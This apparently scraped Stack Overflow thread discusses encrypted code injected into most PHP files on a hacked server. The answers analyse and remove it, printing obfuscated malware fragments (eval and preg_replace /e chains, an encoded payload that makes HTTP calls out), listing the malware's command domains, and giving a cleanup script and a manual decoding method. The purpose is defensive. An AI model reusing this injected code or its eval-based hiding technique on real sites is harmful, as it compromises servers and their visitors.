问题
Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files:
http://pastebin.com/JtkNya5m
Can anybody tell me what this code do or how to decode it?
回答1:
You can calculate the values of some of the variables, and begin to get your bearings.
$vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33));
preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL);
So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression.
/* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */
If you hex decode the result of that you will be just about here:
if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"] = 1;
function fjfgg($n)
{
return chr(ord($n) - 1);
}
@error_reporting(0);
preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ...
The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute.
and it is using the callback on array_map to further decode the payload which passed to the eval.
The pay load for eval looks like this (hex decoded):
$t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i
Which looks truncated ...
That is far as I have time for, but if you wanted to continue you may find the following url useful.
http://ddecode.com/
Good luck
回答2:
I found the same code in a Wordpress instance and wrote a short script to remove it of all files:
$directory = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $filename => $cur)
{
$contents = file_get_contents($filename);
if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) {
echo $filename.PHP_EOL;
file_put_contents($filename, substr($contents, 13280));
}
}
Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically.
Maybe the length of the obfuscated string will differ - don't test this in your live environment!
Be sure to backup your files before executing this!
回答3:
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files
The URL's inside are the same too:
- 33db9538.com
- 9507c4e8.com
- e5b57288.com
- 54dfa1cb.com
If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help.
Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens).
So basically I've repeated this over and over:
- echo the hex strings to get the plain text (to find out which functions get used)
- always replace
evalwithecho - always replace
preg_replace("/(.*)/e", ...)withecho(preg_replace("/(.*)/", ...))
The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too.
In the end you have a few function definitions and one of them gets invoked via ob_start.
来源：https://stackoverflow.com/questions/20658823/hacked-site-encrypted-code